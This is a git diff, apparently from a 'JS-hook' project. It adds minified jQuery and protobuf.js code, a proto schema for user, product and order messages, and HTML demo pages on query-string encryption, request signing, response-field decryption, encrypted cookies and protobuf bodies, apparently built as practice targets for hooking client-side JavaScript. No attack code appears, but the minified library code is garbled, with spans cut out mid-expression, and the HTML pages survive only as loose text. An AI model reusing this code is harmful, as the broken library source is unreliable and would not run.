e[r.shift()],e[t+" "]=n}}function le(e){return e[S]=!0,e}function ce(e){var t=C.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){var n=e.split("|"),r=n.length;while(r--)b.attrHandle[n[r]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function de(t){return function(e){return"input"===e.nodeName.toLowerCase()&&e.type===t}}function he(n){return function(e){var t=e.nodeName.toLowerCase();return("input"===t||"button"===t)&&e.type===n}}function ge(t){return function(e){return"form"in e?e.parentNode&&!1===e.disabled?"label"in e?"label"in e.parentNode?e.parentNode.disabled===t:e.disabled===t:e.isDisabled===t||e.isDisabled!==!t&&ae(e)===t:e.disabled===t:"label"in e&&e.disabled===t}}function ve(a){return le(function(o){return o=+o,le(function(e,t){var n,r=a([],e.length,o),i=r.length;while(i--)e[n=r[i]]&&(e[n]=!(t[n]=e[n]))})})}function ye(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}for(e in d=se.support={},i=se.isXML=function(e){var t=e&&e.namespaceURI,n=e&&(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},T=se.setDocument=function(e){var t,n,r=e?e.ownerDocument||e:p;return r!=C&&9===r.nodeType&&r.documentElement&&(a=(C=r).documentElement,E=!i(C),p!=C&&(n=C.defaultView)&&n.top!==n&&(n.addEventListener?n.addEventListener("unload",oe,!1):n.attachEvent&&n.attachEvent("onunload",oe)),d.scope=ce(function(e){return a.appendChild(e).appendChild(C.createElement("div")),"undefined"!=typeof e.querySelectorAll&&!e.querySelectorAll(":scope fieldset div").length}),d.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),d.getElementsByTagName=ce(function(e){return e.appendChild(C.createComment("")),!e.getElementsByTagName("*").length}),d.getElementsByClassName=K.test(C.getElementsByClassName),d.getById=ce(function(e){return a.appendChild(e).id=S,!C.getElementsByName||!C.getElementsByName(S).length}),d.getById?(b.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n=t.getElementById(e);return n?[n]:[]}}):(b.filter.ID=function(e){var n=e.replace(te,ne);return function(e){var t="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return t&&t.value===n}},b.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&E){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),b.find.TAG=d.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):d.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},b.find.CLASS=d.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&E)return t.getElementsByClassName(e)},s=[],v=[],(d.qsa=K.test(C.querySelectorAll))&&(ce(function(e){var t;a.appendChild(e).innerHTML="",e.querySelectorAll("[msallowcapture^='']").length&&v.push("[*^$]="+M+"*(?:''|\"\")"),e.querySelectorAll("[selected]").length||v.push("\\["+M+"*(?:value|"+R+")"),e.querySelectorAll("[id~="+S+"-]").length||v.push("~="),(t=C.createElement("input")).setAttribute("name",""),e.appendChild(t),e.querySelectorAll("[name='']").length||v.push("\\["+M+"*name"+M+"*="+M+"*(?:''|\"\")"),e.querySelectorAll(":checked").length||v.push(":checked"),e.querySelectorAll("a#"+S+"+*").length||v.push(".#.+[+~]"),e.querySelectorAll("\\\f"),v.push("[\\r\\n\\f]")}),ce(function(e){e.innerHTML="";var t=C.createElement("input");t.setAttribute("type","hidden"),e.appendChild(t).setAttribute("name","D"),e.querySelectorAll("[name=d]").length&&v.push("name"+M+"*[*^$|!~]?="),2!==e.querySelectorAll(":enabled").length&&v.push(":enabled",":disabled"),a.appendChild(e).disabled=!0,2!==e.querySelectorAll(":disabled").length&&v.push(":enabled",":disabled"),e.querySelectorAll("*,:x"),v.push(",.*:")})),(d.matchesSelector=K.test(c=a.matches||a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.msMatchesSelector))&&ce(function(e){d.disconnectedMatch=c.call(e,"*"),c.call(e,"[s!='']:x"),s.push("!=",F)}),v=v.length&&new RegExp(v.join("|")),s=s.length&&new RegExp(s.join("|")),t=K.test(a.compareDocumentPosition),y=t||K.test(a.contains)?function(e,t){var n=9===e.nodeType?e.documentElement:e,r=t&&t.parentNode;return e===r||!(!r||1!==r.nodeType||!(n.contains?n.contains(r):e.compareDocumentPosition&&16&e.compareDocumentPosition(r)))}:function(e,t){if(t)while(t=t.parentNode)if(t===e)return!0;return!1},j=t?function(e,t){if(e===t)return l=!0,0;var n=!e.compareDocumentPosition-!t.compareDocumentPosition;return n||(1&(n=(e.ownerDocument||e)==(t.ownerDocument||t)?e.compareDocumentPosition(t):1)||!d.sortDetached&&t.compareDocumentPosition(e)===n?e==C||e.ownerDocument==p&&y(p,e)?-1:t==C||t.ownerDocument==p&&y(p,t)?1:u?P(u,e)-P(u,t):0:4&n?-1:1)}:function(e,t){if(e===t)return l=!0,0;var n,r=0,i=e.parentNode,o=t.parentNode,a=[e],s=[t];if(!i||!o)return e==C?-1:t==C?1:i?-1:o?1:u?P(u,e)-P(u,t):0;if(i===o)return pe(e,t);n=e;while(n=n.parentNode)a.unshift(n);n=t;while(n=n.parentNode)s.unshift(n);while(a[r]===s[r])r++;return r?pe(a[r],s[r]):a[r]==p?-1:s[r]==p?1:0}),C},se.matches=function(e,t){return se(e,null,null,t)},se.matchesSelector=function(e,t){if(T(e),d.matchesSelector&&E&&!N[t+" "]&&(!s||!s.test(t))&&(!v||!v.test(t)))try{var n=c.call(e,t);if(n||d.disconnectedMatch||e.document&&11!==e.document.nodeType)return n}catch(e){N(t,!0)}return 0":{dir:"parentNode",first:!0}," ":{dir:"parentNode"},"+":{dir:"previousSibling",first:!0},"~":{dir:"previousSibling"}},preFilter:{ATTR:function(e){return e[1]=e[1].replace(te,ne),e[3]=(e[3]||e[4]||e[5]||"").replace(te,ne),"~="===e[2]&&(e[3]=" "+e[3]+" "),e.slice(0,4)},CHILD:function(e){return e[1]=e[1].toLowerCase(),"nth"===e[1].slice(0,3)?(e[3]||se.error(e[0]),e[4]=+(e[4]?e[5]+(e[6]||1):2*("even"===e[3]||"odd"===e[3])),e[5]=+(e[7]+e[8]||"odd"===e[3])):e[3]&&se.error(e[0]),e},PSEUDO:function(e){var t,n=!e[6]&&e[2];return G.CHILD.test(e[0])?null:(e[3]?e[2]=e[4]||e[5]||"":n&&X.test(n)&&(t=h(n,!0))&&(t=n.indexOf(")",n.length-t)-n.length)&&(e[0]=e[0].slice(0,t),e[2]=n.slice(0,t)),e.slice(0,3))}},filter:{TAG:function(e){var t=e.replace(te,ne).toLowerCase();return"*"===e?function(){return!0}:function(e){return e.nodeName&&e.nodeName.toLowerCase()===t}},CLASS:function(e){var t=m[e+" "];return t||(t=new RegExp("(^|"+M+")"+e+"("+M+"|$)"))&&m(e,function(e){return t.test("string"==typeof e.className&&e.className||"undefined"!=typeof e.getAttribute&&e.getAttribute("class")||"")})},ATTR:function(n,r,i){return function(e){var t=se.attr(e,n);return null==t?"!="===r:!r||(t+="","="===r?t===i:"!="===r?t!==i:"^="===r?i&&0===t.indexOf(i):"*="===r?i&&-1:\x20\t\r\n\f]*)[\x20\t\r\n\f]*\/?>(?:<\/\1>|)$/i;function j(e,n,r){return m(n)?S.grep(e,function(e,t){return!!n.call(e,t,e)!==r}):n.nodeType?S.grep(e,function(e){return e===n!==r}):"string"!=typeof n?S.grep(e,function(e){return-1)[^>]*|#([\w-]+))$/;(S.fn.init=function(e,t,n){var r,i;if(!e)return this;if(n=n||D,"string"==typeof e){if(!(r="<"===e[0]&&">"===e[e.length-1]&&3<=e.length?[null,e,null]:q.exec(e))||!r[1]&&t)return!t||t.jquery?(t||n).find(e):this.constructor(t).find(e);if(r[1]){if(t=t instanceof S?t[0]:t,S.merge(this,S.parseHTML(r[1],t&&t.nodeType?t.ownerDocument||t:E,!0)),N.test(r[1])&&S.isPlainObject(t))for(r in t)m(this[r])?this[r](t[r]):this.attr(r,t[r]);return this}return(i=E.getElementById(r[2]))&&(this[0]=i,this.length=1),this}return e.nodeType?(this[0]=e,this.length=1,this):m(e)?void 0!==n.ready?n.ready(e):e(S):S.makeArray(e,this)}).prototype=S.fn,D=S(E);var L=/^(?:parents|prev(?:Until|All))/,H={children:!0,contents:!0,next:!0,prev:!0};function O(e,t){while((e=e[t])&&1!==e.nodeType);return e}S.fn.extend({has:function(e){var t=S(e,this),n=t.length;return this.filter(function(){for(var e=0;e\x20\t\r\n\f]*)/i,he=/^$|^module$|\/(?:java|ecma)script/i;ce=E.createDocumentFragment().appendChild(E.createElement("div")),(fe=E.createElement("input")).setAttribute("type","radio"),fe.setAttribute("checked","checked"),fe.setAttribute("name","t"),ce.appendChild(fe),y.checkClone=ce.cloneNode(!0).cloneNode(!0).lastChild.checked,ce.innerHTML="",y.noCloneChecked=!!ce.cloneNode(!0).lastChild.defaultValue,ce.innerHTML="",y.option=!!ce.lastChild;var ge={thead:[1,"","
"],col:[2,"","
"],tr:[2,"","
"],td:[3,"","
"],_default:[0,"",""]};function ve(e,t){var n;return n="undefined"!=typeof e.getElementsByTagName?e.getElementsByTagName(t||"*"):"undefined"!=typeof e.querySelectorAll?e.querySelectorAll(t||"*"):[],void 0===t||t&&A(e,t)?S.merge([e],n):n}function ye(e,t){for(var n=0,r=e.length;n",""]);var me=/<|&#?\w+;/;function xe(e,t,n,r,i){for(var o,a,s,u,l,c,f=t.createDocumentFragment(),p=[],d=0,h=e.length;d\s*$/g;function je(e,t){return A(e,"table")&&A(11!==t.nodeType?t:t.firstChild,"tr")&&S(e).children("tbody")[0]||e}function De(e){return e.type=(null!==e.getAttribute("type"))+"/"+e.type,e}function qe(e){return"true/"===(e.type||"").slice(0,5)?e.type=e.type.slice(5):e.removeAttribute("type"),e}function Le(e,t){var n,r,i,o,a,s;if(1===t.nodeType){if(Y.hasData(e)&&(s=Y.get(e).events))for(i in Y.remove(t,"handle events"),s)for(n=0,r=s[i].length;n").attr(n.scriptAttrs||{}).prop({charset:n.scriptCharset,src:n.url}).on("load error",i=function(e){r.remove(),i=null,e&&t("error"===e.type?404:200,e.type)}),E.head.appendChild(r[0])},abort:function(){i&&i()}}});var _t,zt=[],Ut=/(=)\?(?=&|$)|\?\?/;S.ajaxSetup({jsonp:"callback",jsonpCallback:function(){var e=zt.pop()||S.expando+"_"+wt.guid++;return this[e]=!0,e}}),S.ajaxPrefilter("json jsonp",function(e,t,n){var r,i,o,a=!1!==e.jsonp&&(Ut.test(e.url)?"url":"string"==typeof e.data&&0===(e.contentType||"").indexOf("application/x-www-form-urlencoded")&&Ut.test(e.data)&&"data");if(a||"jsonp"===e.dataTypes[0])return r=e.jsonpCallback=m(e.jsonpCallback)?e.jsonpCallback():e.jsonpCallback,a?e[a]=e[a].replace(Ut,"$1"+r):!1!==e.jsonp&&(e.url+=(Tt.test(e.url)?"&":"?")+e.jsonp+"="+r),e.converters["script json"]=function(){return o||S.error(r+" was not called"),o[0]},e.dataTypes[0]="json",i=C[r],C[r]=function(){o=arguments},n.always(function(){void 0===i?S(C).removeProp(r):C[r]=i,e[r]&&(e.jsonpCallback=t.jsonpCallback,zt.push(r)),o&&m(i)&&i(o[0]),o=i=void 0}),"script"}),y.createHTMLDocument=((_t=E.implementation.createHTMLDocument("").body).innerHTML="

",2===_t.childNodes.length),S.parseHTML=function(e,t,n){return"string"!=typeof e?[]:("boolean"==typeof t&&(n=t,t=!1),t||(y.createHTMLDocument?((r=(t=E.implementation.createHTMLDocument("")).createElement("base")).href=E.location.href,t.head.appendChild(r)):t=E),o=!n&&[],(i=N.exec(e))?[t.createElement(i[1])]:(i=xe([e],t,o),o&&o.length&&S(o).remove(),S.merge([],i.childNodes)));var r,i,o},S.fn.load=function(e,t,n){var r,i,o,a=this,s=e.indexOf(" ");return-1").append(S.parseHTML(e)).find(r):e)}).always(n&&function(e,t){a.each(function(){n.apply(this,o||[e.responseText,t,e])})}),this},S.expr.pseudos.animated=function(t){return S.grep(S.timers,function(e){return t===e.elem}).length},S.offset={setOffset:function(e,t,n){var r,i,o,a,s,u,l=S.css(e,"position"),c=S(e),f={};"static"===l&&(e.style.position="relative"),s=c.offset(),o=S.css(e,"top"),u=S.css(e,"left"),("absolute"===l||"fixed"===l)&&-1<(o+u).indexOf("auto")?(a=(r=c.position()).top,i=r.left):(a=parseFloat(o)||0,i=parseFloat(u)||0),m(t)&&(t=t.call(e,n,S.extend({},s))),null!=t.top&&(f.top=t.top-s.top+a),null!=t.left&&(f.left=t.left-s.left+i),"using"in t?t.using.call(e,f):c.css(f)}},S.fn.extend({offset:function(t){if(arguments.length)return void 0===t?this:this.each(function(e){S.offset.setOffset(this,t,e)});var e,n,r=this[0];return r?r.getClientRects().length?(e=r.getBoundingClientRect(),n=r.ownerDocument.defaultView,{top:e.top+n.pageYOffset,left:e.left+n.pageXOffset}):{top:0,left:0}:void 0},position:function(){if(this[0]){var e,t,n,r=this[0],i={top:0,left:0};if("fixed"===S.css(r,"position"))t=r.getBoundingClientRect();else{t=this.offset(),n=r.ownerDocument,e=r.offsetParent||n.documentElement;while(e&&(e===n.body||e===n.documentElement)&&"static"===S.css(e,"position"))e=e.parentNode;e&&e!==r&&1===e.nodeType&&((i=S(e).offset()).top+=S.css(e,"borderTopWidth",!0),i.left+=S.css(e,"borderLeftWidth",!0))}return{top:t.top-i.top-S.css(r,"marginTop",!0),left:t.left-i.left-S.css(r,"marginLeft",!0)}}},offsetParent:function(){return this.map(function(){var e=this.offsetParent;while(e&&"static"===S.css(e,"position"))e=e.offsetParent;return e||re})}}),S.each({scrollLeft:"pageXOffset",scrollTop:"pageYOffset"},function(t,i){var o="pageYOffset"===i;S.fn[t]=function(e){return $(this,function(e,t,n){var r;if(x(e)?r=e:9===e.nodeType&&(r=e.defaultView),void 0===n)return r?r[i]:e[t];r?r.scrollTo(o?r.pageXOffset:n,o?n:r.pageYOffset):e[t]=n},t,e,arguments.length)}}),S.each(["top","left"],function(e,n){S.cssHooks[n]=Fe(y.pixelPosition,function(e,t){if(t)return t=We(e,n),Pe.test(t)?S(e).position()[n]+"px":t})}),S.each({Height:"height",Width:"width"},function(a,s){S.each({padding:"inner"+a,content:s,"":"outer"+a},function(r,o){S.fn[o]=function(e,t){var n=arguments.length&&(r||"boolean"!=typeof e),i=r||(!0===e||!0===t?"margin":"border");return $(this,function(e,t,n){var r;return x(e)?0===o.indexOf("outer")?e["inner"+a]:e.document.documentElement["client"+a]:9===e.nodeType?(r=e.documentElement,Math.max(e.body["scroll"+a],r["scroll"+a],e.body["offset"+a],r["offset"+a],r["client"+a])):void 0===n?S.css(e,t,i):S.style(e,t,n,i)},s,n?e:void 0,n)}})}),S.each(["ajaxStart","ajaxStop","ajaxComplete","ajaxError","ajaxSuccess","ajaxSend"],function(e,t){S.fn[t]=function(e){return this.on(t,e)}}),S.fn.extend({bind:function(e,t,n){return this.on(e,null,t,n)},unbind:function(e,t){return this.off(e,null,t)},delegate:function(e,t,n,r){return this.on(t,e,n,r)},undelegate:function(e,t,n){return 1===arguments.length?this.off(e,"**"):this.off(t,e||"**",n)},hover:function(e,t){return this.mouseenter(e).mouseleave(t||e)}}),S.each("blur focus focusin focusout resize scroll click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup contextmenu".split(" "),function(e,n){S.fn[n]=function(e,t){return 02],r=(3&f)<<4,u=1;break;case 1:s[o++]=h[r|f>>4],r=(15&f)<<2,u=2;break;case 2:s[o++]=h[r|f>>6],s[o++]=h[63&f],u=0}8191>4,r=u,s=2;break;case 2:i[n++]=(15&r)<<4|(60&u)>>2,r=u,s=3;break;case 3:i[n++]=(3&r)<<6|u,s=0}}if(1===s)throw Error(a);return n-e},n.test=function(t){return/^(?:[A-Za-z0-9+/]{4})*(?:[A-Za-z0-9+/]{2}==|[A-Za-z0-9+/]{3}=)?$/.test(t)}},{}],3:[function(t,i,n){function c(i,n){"string"==typeof i&&(n=i,i=nt);var f=[];function h(t){if("string"!=typeof t){var i=a();if(c.verbose&&console.log("codegen: "+i),i="return "+i,t){for(var n=Object.keys(t),r=Array(n.length+1),e=Array(n.length),s=0;s>>0:i<11754943508222875e-54?(e<<31|Math.round(i/1401298464324817e-60))>>>0:(e<<31|127+(t=Math.floor(Math.log(i)/Math.LN2))<<23|8388607&Math.round(i*Math.pow(2,-t)*8388608))>>>0,n,r)}function n(t,i,n){t=t(i,n),i=2*(t>>31)+1,n=t>>>23&255,t&=8388607;return 255==n?t?NaN:1/0*i:0==n?1401298464324817e-60*i*t:i*Math.pow(2,n-150)*(8388608+t)}function r(t,i,n){u[0]=t,i[n]=f[0],i[n+1]=f[1],i[n+2]=f[2],i[n+3]=f[3]}function e(t,i,n){u[0]=t,i[n]=f[3],i[n+1]=f[2],i[n+2]=f[1],i[n+3]=f[0]}function s(t,i){return f[0]=t[i],f[1]=t[i+1],f[2]=t[i+2],f[3]=t[i+3],u[0]}function o(t,i){return f[3]=t[i],f[2]=t[i+1],f[1]=t[i+2],f[0]=t[i+3],u[0]}var u,f,h,a,c;function l(t,i,n,r,e,s){var o,u=r<0?1:0;0===(r=u?-r:r)?(t(0,e,s+i),t(0<1/r?0:2147483648,e,s+n)):isNaN(r)?(t(0,e,s+i),t(2146959360,e,s+n)):17976931348623157e292>>0,e,s+n)):r<22250738585072014e-324?(t((o=r/5e-324)>>>0,e,s+i),t((u<<31|o/4294967296)>>>0,e,s+n)):(t(4503599627370496*(o=r*Math.pow(2,-(r=1024===(r=Math.floor(Math.log(r)/Math.LN2))?1023:r)))>>>0,e,s+i),t((u<<31|r+1023<<20|1048576*o&1048575)>>>0,e,s+n))}function d(t,i,n,r,e){i=t(r,e+i),t=t(r,e+n),r=2*(t>>31)+1,e=t>>>20&2047,n=4294967296*(1048575&t)+i;return 2047==e?n?NaN:1/0*r:0==e?5e-324*r*n:r*Math.pow(2,e-1075)*(n+4503599627370496)}function p(t,i,n){h[0]=t,i[n]=a[0],i[n+1]=a[1],i[n+2]=a[2],i[n+3]=a[3],i[n+4]=a[4],i[n+5]=a[5],i[n+6]=a[6],i[n+7]=a[7]}function v(t,i,n){h[0]=t,i[n]=a[7],i[n+1]=a[6],i[n+2]=a[5],i[n+3]=a[4],i[n+4]=a[3],i[n+5]=a[2],i[n+6]=a[1],i[n+7]=a[0]}function b(t,i){return a[0]=t[i],a[1]=t[i+1],a[2]=t[i+2],a[3]=t[i+3],a[4]=t[i+4],a[5]=t[i+5],a[6]=t[i+6],a[7]=t[i+7],h[0]}function y(t,i){return a[7]=t[i],a[6]=t[i+1],a[5]=t[i+2],a[4]=t[i+3],a[3]=t[i+4],a[2]=t[i+5],a[1]=t[i+6],a[0]=t[i+7],h[0]}return"undefined"!=typeof Float32Array?(u=new Float32Array([-0]),f=new Uint8Array(u.buffer),c=128===f[3],t.writeFloatLE=c?r:e,t.writeFloatBE=c?e:r,t.readFloatLE=c?s:o,t.readFloatBE=c?o:s):(t.writeFloatLE=i.bind(null,w),t.writeFloatBE=i.bind(null,m),t.readFloatLE=n.bind(null,g),t.readFloatBE=n.bind(null,j)),"undefined"!=typeof Float64Array?(h=new Float64Array([-0]),a=new Uint8Array(h.buffer),c=128===a[7],t.writeDoubleLE=c?p:v,t.writeDoubleBE=c?v:p,t.readDoubleLE=c?b:y,t.readDoubleBE=c?y:b):(t.writeDoubleLE=l.bind(null,w,0,4),t.writeDoubleBE=l.bind(null,m,4,0),t.readDoubleLE=d.bind(null,g,0,4),t.readDoubleBE=d.bind(null,j,4,0)),t}function w(t,i,n){i[n]=255&t,i[n+1]=t>>>8&255,i[n+2]=t>>>16&255,i[n+3]=t>>>24}function m(t,i,n){i[n]=t>>>24,i[n+1]=t>>>16&255,i[n+2]=t>>>8&255,i[n+3]=255&t}function g(t,i){return(t[i]|t[i+1]<<8|t[i+2]<<16|t[i+3]<<24)>>>0}function j(t,i){return(t[i]<<24|t[i+1]<<16|t[i+2]<<8|t[i+3])>>>0}i.exports=r(r)},{}],7:[function(t,i,n){function r(t){try{var i=eval("require")(t);if(i&&(i.length||Object.keys(i).length))return i}catch(t){}return null}i.exports=r},{}],8:[function(t,i,n){var e=n.isAbsolute=function(t){return/^(?:\/|\w+:)/.test(t)},r=n.normalize=function(t){var i=(t=t.replace(/\\/g,"/").replace(/\/{2,}/g,"/")).split("/"),n=e(t),t="";n&&(t=i.shift()+"/");for(var r=0;r>>1,s=null,o=r;return function(t){if(t<1||e>10),s[o++]=56320+(1023&r)):s[o++]=(15&r)<<12|(63&t[i++])<<6|63&t[i++],8191>6|192:(55296==(64512&r)&&56320==(64512&(e=t.charCodeAt(o+1)))?(++o,i[n++]=(r=65536+((1023&r)<<10)+(1023&e))>>18|240,i[n++]=r>>12&63|128):i[n++]=r>>12|224,i[n++]=r>>6&63|128),i[n++]=63&r|128);return n-s}},{}],11:[function(t,i,n){i.exports=e;var r=/\/|\./;function e(t,i){r.test(t)||(t="google/protobuf/"+t+".proto",i={nested:{google:{nested:{protobuf:{nested:i}}}}}),e[t]=i}e("any",{Any:{fields:{type_url:{type:"string",id:1},value:{type:"bytes",id:2}}}}),e("duration",{Duration:i={fields:{seconds:{type:"int64",id:1},nanos:{type:"int32",id:2}}}}),e("timestamp",{Timestamp:i}),e("empty",{Empty:{fields:{}}}),e("struct",{Struct:{fields:{fields:{keyType:"string",type:"Value",id:1}}},Value:{oneofs:{kind:{oneof:["nullValue","numberValue","stringValue","boolValue","structValue","listValue"]}},fields:{nullValue:{type:"NullValue",id:1},numberValue:{type:"double",id:2},stringValue:{type:"string",id:3},boolValue:{type:"bool",id:4},structValue:{type:"Struct",id:5},listValue:{type:"ListValue",id:6}}},NullValue:{values:{NULL_VALUE:0}},ListValue:{fields:{values:{rule:"repeated",type:"Value",id:1}}}}),e("wrappers",{DoubleValue:{fields:{value:{type:"double",id:1}}},FloatValue:{fields:{value:{type:"float",id:1}}},Int64Value:{fields:{value:{type:"int64",id:1}}},UInt64Value:{fields:{value:{type:"uint64",id:1}}},Int32Value:{fields:{value:{type:"int32",id:1}}},UInt32Value:{fields:{value:{type:"uint32",id:1}}},BoolValue:{fields:{value:{type:"bool",id:1}}},StringValue:{fields:{value:{type:"string",id:1}}},BytesValue:{fields:{value:{type:"bytes",id:1}}}}),e("field_mask",{FieldMask:{fields:{paths:{rule:"repeated",type:"string",id:1}}}}),e.get=function(t){return e[t]||null}},{}]},{},[19])}(); diff --git a/JS-hook/src/main/resources/static/proto/api.proto b/JS-hook/src/main/resources/static/proto/api.proto new file mode 100644 index 0000000..032a5e6 --- /dev/null +++ b/JS-hook/src/main/resources/static/proto/api.proto @@ -0,0 +1,70 @@ +syntax = "proto3"; + +package api; + +// 用户信息消息 +message UserInfo { + string name = 1; + string email = 2; + int32 age = 3; + string phone = 4; + string address = 5; + string company = 6; + string position = 7; + int64 salary = 8; + repeated string skills = 9; + map metadata = 10; +} + +// 产品信息消息 +message ProductInfo { + string name = 1; + string description = 2; + double price = 3; + string category = 4; + string brand = 5; + int32 stock = 6; + repeated string tags = 7; + map attributes = 8; +} + +// 订单信息消息 +message OrderInfo { + string order_id = 1; + string customer_name = 2; + string customer_email = 3; + repeated ProductInfo products = 4; + double total_amount = 5; + string status = 6; + int64 created_at = 7; + string shipping_address = 8; + string payment_method = 9; +} + +// 通用请求消息 +message ApiRequest { + string request_id = 1; + int64 timestamp = 2; + string operation = 3; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } +} + +// 通用响应消息 +message ApiResponse { + string request_id = 1; + int64 timestamp = 2; + bool success = 3; + string message = 4; + int32 code = 5; + + oneof data { + UserInfo user_info = 10; + ProductInfo product_info = 11; + OrderInfo order_info = 12; + } +} diff --git a/JS-hook/src/main/resources/static/protobuf-request.html b/JS-hook/src/main/resources/static/protobuf-request.html new file mode 100644 index 0000000..30bc0c4 --- /dev/null +++ b/JS-hook/src/main/resources/static/protobuf-request.html @@ -0,0 +1,965 @@ + + + + + + Protocol Buffers Request + + + + + +
+
+

Protocol Buffers API 系统

+

Protocol Buffers Request Body Case - 高效二进制序列化通信

+
+ +
+

🔧 选择API操作

+ +
+ + + +
+ + +
+

👤 用户信息管理

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ +
+
JavaScript ×
+
Python ×
+
React ×
+ +
+
+
+ + +
+

📦 产品信息管理

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+
+ + +
+
+ +
+
5G ×
+
高清摄像 ×
+
长续航 ×
+ +
+
+
+ + +
+

📋 订单信息管理

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/protobuf-response.html b/JS-hook/src/main/resources/static/protobuf-response.html new file mode 100644 index 0000000..3950cc0 --- /dev/null +++ b/JS-hook/src/main/resources/static/protobuf-response.html @@ -0,0 +1,778 @@ + + + + + + Protocol Buffers Response + + + + + +
+
+

数据分析平台

+

Protocol Buffers Response Case - 高效二进制响应体解析

+
+ +
+

📊 选择数据类型

+ +
+
+ 📈 +

业务分析

+

获取业务指标、销售数据、用户行为等分析报告

+
+
+ 📋 +

系统报告

+

查看系统性能、错误日志、监控数据等技术报告

+
+
+ 📊 +

统计数据

+

获取用户统计、访问量、转化率等关键数据指标

+
+
+ 🔍 +

深度洞察

+

AI驱动的数据洞察、趋势预测、智能建议等

+
+
+ + +
+

📈 业务分析选项

+
+
销售数据
+
收入分析
+
客户分析
+
产品分析
+
+
+ + +
+

📋 系统报告选项

+
+
性能报告
+
错误日志
+
安全报告
+
使用情况
+
+
+ + +
+

📊 统计数据选项

+
+
流量统计
+
转化统计
+
用户参与
+
留存分析
+
+
+ + +
+

🔍 深度洞察选项

+
+
趋势预测
+
智能推荐
+
异常检测
+
预测分析
+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/query-string-param-encrypt.html b/JS-hook/src/main/resources/static/query-string-param-encrypt.html new file mode 100644 index 0000000..949482b --- /dev/null +++ b/JS-hook/src/main/resources/static/query-string-param-encrypt.html @@ -0,0 +1,206 @@ + + + + + + Query String Parameter Encryption + + + + + +

Query String Parameter Encryption Case

+

这个案例演示如何对URL查询参数进行加密。用户输入查询条件,系统会加密这些参数并发送请求。

+ +
+

商品搜索

+
+
+ + +
+
+ + +
+
+ + +
+
+ + +
+ +
+ + + +
+ + + + diff --git a/JS-hook/src/main/resources/static/query-string-param-sign.html b/JS-hook/src/main/resources/static/query-string-param-sign.html new file mode 100644 index 0000000..7f9d2ff --- /dev/null +++ b/JS-hook/src/main/resources/static/query-string-param-sign.html @@ -0,0 +1,97 @@ + + + + + + 列表页面 + + + + +
+

列表页面

+
加载中...
+ + +
+ + + + \ No newline at end of file diff --git a/JS-hook/src/main/resources/static/response-field-decrypt.html b/JS-hook/src/main/resources/static/response-field-decrypt.html new file mode 100644 index 0000000..458d1b2 --- /dev/null +++ b/JS-hook/src/main/resources/static/response-field-decrypt.html @@ -0,0 +1,394 @@ + + + + + + Response Field Decryption + + + + + +
+
+

用户信息查询

+

Response JSON Field Encryption Case - 响应字段解密

+
+ +
+
+ + +
+ +
+ + + +
+ + + + diff --git a/JS-hook/src/main/resources/static/response-header-cookie.html b/JS-hook/src/main/resources/static/response-header-cookie.html new file mode 100644 index 0000000..e96c33d --- /dev/null +++ b/JS-hook/src/main/resources/static/response-header-cookie.html @@ -0,0 +1,946 @@ + + + + + + Response Header Cookie + + + + + +
+
+

会话管理平台

+

Response Header Cookie Case - 响应头加密Cookie处理

+
+ +
+

🔐 选择认证服务

+ +
+
+ 🔑 +

用户登录

+

用户身份验证,返回加密的会话Cookie和认证令牌

+
+
+ 🌐 +

OAuth授权

+

第三方OAuth认证,处理授权码和访问令牌

+
+
+ 🎫 +

单点登录

+

企业SSO认证,统一身份管理和权限控制

+
+
+ 🔄 +

令牌刷新

+

刷新访问令牌,延长会话有效期和权限更新

+
+
+ + +
+

🔑 用户登录

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🌐 OAuth授权

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🎫 单点登录

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+

🔄 令牌刷新

+
+
+ + +
+
+ + +
+
+
+
+ + +
+
+ + +
+
+
+ + +
+ +
+ +
+ + + + diff --git a/JS-hook/src/main/resources/static/single-field-encrypt.html b/JS-hook/src/main/resources/static/single-field-encrypt.html new file mode 100644 index 0000000..96b4f2d --- /dev/null +++ b/JS-hook/src/main/resources/static/single-field-encrypt.html @@ -0,0 +1,410 @@ + + + + + + Single Field Encryption + + + + + +
+
+

加密聊天室

+

Single Field Encryption Case - 单字段加密通信

+
+ +
+
+
+ + +
+
+ + +
+ +
+ +
+
+
+ 系统 + 刚刚 +
+
欢迎来到加密聊天室!所有消息内容都会被加密传输。
+
+
+
+ + +
